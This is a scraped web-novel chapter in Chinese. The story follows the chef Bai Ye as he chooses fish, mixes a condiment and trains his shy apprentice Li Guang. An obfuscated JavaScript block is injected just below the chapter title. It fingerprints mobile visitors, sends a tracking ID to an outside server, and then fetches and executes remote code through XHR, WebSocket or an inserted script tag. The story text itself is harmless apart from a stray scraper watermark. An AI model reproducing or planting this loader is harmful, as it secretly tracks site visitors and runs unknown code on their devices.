第764章 最踏实的徒弟(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
白叶这么急匆匆的出去,肯定是中午想要做什么好吃的,他们只需要坐等就可以了。
因为这个猜测,黄岸不光自己美滋滋,还给王导发了个信息,告诉他这个猜测。
顺便也告诉周思思,中午一定要来。
白叶去集市上,将几家活鱼摊子挨个看一遍,天气还冷,白叶也不在乎,一条条的翻过去,最终挑中了十来条的鱼。
店里有暂时存放活鱼的大缸,不过一次买这么多主要是为了能让鱼多沉淀几天,让鱼的味道更好吃。
随后就是寻找八和齑的调料。
尤其是橘子,白叶仔细挑选了一番,最后忽然想起来自己有合成,直接搓堆买回去两大袋子。
白叶出去买东西,也带着了黎光。
既然是他徒弟了,自然要教的全面一点,买菜也是需要训练的,这手眼一定要毒辣,能一眼分辨出菜肴的优劣。
白叶自己有真我之眼,对于这些食材一眼就能看出品级,可他本身也是多年采购的经验也不是假的。就算是没有系统的协助,他也能照样能挑选出最好的食材。
白叶要将这些本事都交给黎光。
只要愿意学,他都不吝教导的。
黎光也算是白叶教过的所有人里,学的最踏实的一个。
可能也是因为他和别人都不一样,他是零基础,就像一张白纸一般,脑海里从来没有别人的厨艺。
毕竟他爱上厨艺,想要学厨艺就是因为看了白叶的比赛视频。简单的学了几下切菜,学了白叶的一两道菜就跑到白叶这店里来应聘。
说他执着也好,说他胆大也行。
可他真的进了白家老店,成了一名实习生,现在还成了白叶的徒弟。
所以他学的不光认真,对白叶还有种偏执一般的信任和崇拜。
凡是白叶教给他的东西,他都尽全力的记住,记在心里。
黎光虽然曾经受过创伤比较沉默,甚至都有点近乎自闭,但其实专注力很强,也非常的聪明。否则他也不能在耽误了好几年学业的情况下,还能自学大学毕业。
白叶看他学的认真,教的也就更加上心。
今天因为要在店里调配出来八和齑,所以白叶给林西漠打了个电话,并没有带着黎光过去。
别看昨天在虚拟教室里,白叶已经成功复刻了老师丙版本的八和齑,但是回到现实之中,他还是需要重新再调配的。
这不是现实和虚拟的差距,这是来自于食材和食材之间的细微差距。
越是对食材深入的了解,越是发觉个体之间细微的差别。
这就和调料一样,菜谱上标注出来的永远都是少许,适量,若干。
没办法像西餐一样可以用量杯、克称来将食物标准化。因为不同的食材味道都会有细微的差别,而能感受到这种差别,还能在烹饪之中抓住,才是一个合格的厨子。Ique.iz
否则,那就是个炒菜机器人。
食材和食材之间有个体差异,细微的变化就会造成最终的千差万别。
所以白叶今天上午都在准备这个调料,准备食材的事情,炖药膳的事情,都交给了黎光。
黎光小脸绷着,十分的认真,生怕哪里做的不对。
其实这些事情,平时他也有参与,不过今天白叶彻底放手,都交给了黎光。
白叶倒没有真的完全放手,在一些关键的节点,他也会抬头看看黎光。
让白叶很满意的是,这些关键节点,黎光都没有错过,事情做的一丝不苟的。
其中有些食材在烹饪过程之中的变化,黎光也没有错过。
白叶觉得这个小孩的天赋,或许比自己想的要高一些,只是他太不自信。
相比于其他白叶教过的人,黎光是基础最差的一个,零基础。这是他不自信的主要原因。
需要鼓励,多多的鼓励。
师父怎么对他的,他就怎么样去对待徒弟。
夸人嘛,这事他熟。
在正式开始炒菜之前,白叶这边的八和齑也彻底调味好了。看黎光一直都在看着他,白叶朝着他招招手,“来,尝尝!”